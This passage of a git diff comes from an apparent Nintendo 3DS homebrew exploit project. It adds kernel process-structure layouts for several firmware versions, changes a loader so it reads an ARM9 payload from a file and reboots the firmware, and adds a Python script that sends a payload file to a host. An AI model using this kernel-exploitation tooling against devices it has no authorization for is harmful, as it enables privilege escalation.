*m_translationTableBase; // +040 + u8 m_contextID; // +044 + u32 m_unknown048; // +048 + u32 m_unknown04C; // +04C + u32 m_mmuTableSize; // +050 + void *m_mmuTableAddress; // +054 + u32 m_threadContextPagesSize; // +058 + u32 m_threadLocalPageCount; // +05C + KLinkedListNode *m_threadLocalPageFirst; // +060 + KLinkedListNode *m_threadLocalPageLast; // +064 + u32 m_unknown068; // +068 + s32 m_idealProcessor; // +06C + u32 m_unknown070; // +070 + void *m_resourceLimits; // +074 + u8 m_unknown078; // +078 + u8 m_affinityMask; // +079 + u32 m_threadCount; // +07C + KSVCACL m_svcAccessControl; // +080 + u32 m_interruptFlags[0x80 / 32]; // +090 + u32 m_kernelFlags; // +0A0 + u16 m_handleTableSize; // +0A4 + u16 m_kernelReleaseVersion; // +0A6 + KCodeSet *m_codeSet; // +0A8 + u32 m_processID; // +0AC + u32 m_kernelFlags2; // +0B0 + u32 m_unknown0B4; // +0B4 + KThread *m_mainThread; // +0B8 + //...more... + }; + static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080, + "KProcess_1_0_0_Old isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a process object. + // Old 3DS Version 8.0.0 - 9.5.0... + class KProcess_8_0_0_Old : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + KThread *volatile m_interactingThread; // +01C + u16 m_unknown020; // +020 + u16 m_unknown022; // +022 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_memoryBlockCount; // +02C + KLinkedListNode *m_memoryBlockFirst; // +030 + KLinkedListNode *m_memoryBlockLast; // +034 + u32 m_unknown038; // +038 + u32 m_unknown03C; // +03C + void *m_translationTableBase; // +040 + u8 m_contextID; // +044 + u32 m_unknown048; // +048 + void *m_userVirtualMemoryEnd; // +04C + void *m_userLinearVirtualBase; // +050 + u32 m_unknown054; // +054 + u32 m_mmuTableSize; // +058 + void *m_mmuTableAddress; // +05C + u32 m_threadContextPagesSize; // +060 + u32 m_threadLocalPageCount; // +064 + KLinkedListNode *m_threadLocalPageFirst; // +068 + KLinkedListNode *m_threadLocalPageLast; // +06C + u32 m_unknown070; // +070 + s32 m_idealProcessor; // +074 + u32 m_unknown078; // +078 + void *m_resourceLimits; // +07C + u32 m_unknown080; // +080 + u32 m_threadCount; // +084 + u8 m_svcAccessControl[0x80 / 8]; // +088 + u32 m_interruptFlags[0x80 / 32]; // +098 + u32 m_kernelFlags; // +0A8 + u16 m_handleTableSize; // +0AC + u16 m_kernelReleaseVersion; // +0AE + KCodeSet *m_codeSet; // +0B0 + u32 m_processID; // +0B4 + u32 m_unknown0B8; // +0B8 + u32 m_unknown0BC; // +0BC + KThread *m_mainThread; // +0C0 + //...more... + }; + static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088, + "KProcess_8_0_0_Old isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a process object. + // New 3DS Version 8.0.0 - 9.5.0... + class KProcess_8_0_0_New : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + KThread *volatile m_interactingThread; // +01C + u16 m_unknown020; // +020 + u16 m_unknown022; // +022 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_unknown02C; // +02C new to New 3DS + u32 m_unknown030; // +030 new to New 3DS + u32 m_memoryBlockCount; // +034 + KLinkedListNode *m_memoryBlockFirst; // +038 + KLinkedListNode *m_memoryBlockLast; // +03C + u32 m_unknown040; // +040 + u32 m_unknown044; // +044 + void *m_translationTableBase; // +048 + u8 m_contextID; // +04C + u32 m_unknown050; // +050 + void *m_userVirtualMemoryEnd; // +054 + void *m_userLinearVirtualBase; // +058 + u32 m_unknown05C; // +05C + u32 m_mmuTableSize; // +060 + void *m_mmuTableAddress; // +064 + u32 m_threadContextPagesSize; // +068 + u32 m_threadLocalPageCount; // +06C + KLinkedListNode *m_threadLocalPageFirst; // +070 + KLinkedListNode *m_threadLocalPageLast; // +074 + u32 m_unknown078; // +078 + s32 m_idealProcessor; // +07C + u32 m_unknown080; // +080 + void *m_resourceLimits; // +084 + u32 m_unknown088; // +088 + u32 m_threadCount; // +08C + u8 m_svcAccessControl[0x80 / 8]; // +090 + u32 m_interruptFlags[0x80 / 32]; // +0A0 + u32 m_kernelFlags; // +0B0 + u16 m_handleTableSize; // +0B4 + u16 m_kernelReleaseVersion; // +0B6 + KCodeSet *m_codeSet; // +0B8 + u32 m_processID; // +0BC + u32 m_unknown0C0; // +0C0 + u32 m_unknown0C4; // +0C4 + KThread *m_mainThread; // +0C8 + //...more... + }; + static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090, + "KProcess_8_0_0_New isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Done using illegal offsetof + #pragma GCC diagnostic pop +} diff --git a/ninjhax/source/main.c b/ninjhax/source/main.c index fc4b131..c3f09ca 100644 --- a/ninjhax/source/main.c +++ b/ninjhax/source/main.c @@ -1,45 +1,30 @@ #include <3ds.h> #include +#include #include "brahma.h" #include "hid.h" -s32 main (void) { - // Initialize services - srvInit(); - aptInit(); - hidInit(NULL); - gfxInitDefault(); - fsInit(); - sdmcInit(); - hbInit(); - qtmInit(); - - gfxSwapBuffers(); - - u32 payload_size = 0x10000; - void *payload = malloc(payload_size); - - FILE *fp = fopen("/reiNand.dat", "r"); - if (!fp) goto exit; - fseek(fp, 0x12000, SEEK_SET); - fread(payload, payload_size, 1, fp); - fclose(fp); +#ifndef LAUNCHER_PATH +#define LAUNCHER_PATH "Cakes.dat" +#endif +int main (void) { if (brahma_init()) { - load_arm9_payload_from_mem(payload, payload_size); + if (load_arm9_payload_offset("/" LAUNCHER_PATH, 0x12000, 0x10000) != 1) + goto error; firm_reboot(); brahma_exit(); } -exit: - if (payload) free(payload); - - hbExit(); - sdmcExit(); - fsExit(); - gfxExit(); - hidExit(); - aptExit(); - srvExit(); + // Return to hbmenu return 0; + +error: + gfxInitDefault(); + consoleInit(GFX_BOTTOM, NULL); + printf("An error occurred while loading the payload.\nMake sure your launcher is located at:\n/" LAUNCHER_PATH); + wait_any_key(); + + gfxExit(); + return 1; } diff --git a/ninjhax/source/utils.s b/ninjhax/source/utils.s index 0613c4d..9dc2f7d 100644 --- a/ninjhax/source/utils.s +++ b/ninjhax/source/utils.s @@ -17,21 +17,22 @@ CleanEntireDataCache: mcr p15, 0, r0, c7, c10, 0 bx lr +.global dsb +.type dsb, %function +dsb: + mov r0, #0 + mcr p15, 0, r0, c7, c10, 4 + bx lr + .global DisableInterrupts .type DisableInterrupts, %function DisableInterrupts: mrs r0, cpsr CPSID I bx lr - + .global EnableInterrupts .type EnableInterrupts, %function EnableInterrupts: msr cpsr_cx, r0 bx lr - -.global svcCorruptedCreateThread -.type svcCorruptedCreateThread, %function -svcCorruptedCreateThread: - svc 0x08 - bx lr diff --git a/ninjhax/tools/client.py b/ninjhax/tools/client.py new file mode 100644 index 0000000..268cd17 --- /dev/null +++ b/ninjhax/tools/client.py @@ -0,0 +1,22 @@ +#!/usr/bin/python + +import socket +import sys + +if len(sys.argv) < 3: + print "python client.py \n" + sys.exit(0) + +port = 80 +host = sys.argv[1] +pfile = sys.argv[2] + +f = open(pfile, "rb") +buf = f.read() +f.close() + +s = socket.socket() +s.connect((host, port)) +sent = s.send(buf) +print "Sent %d bytes\n" % sent +s.close()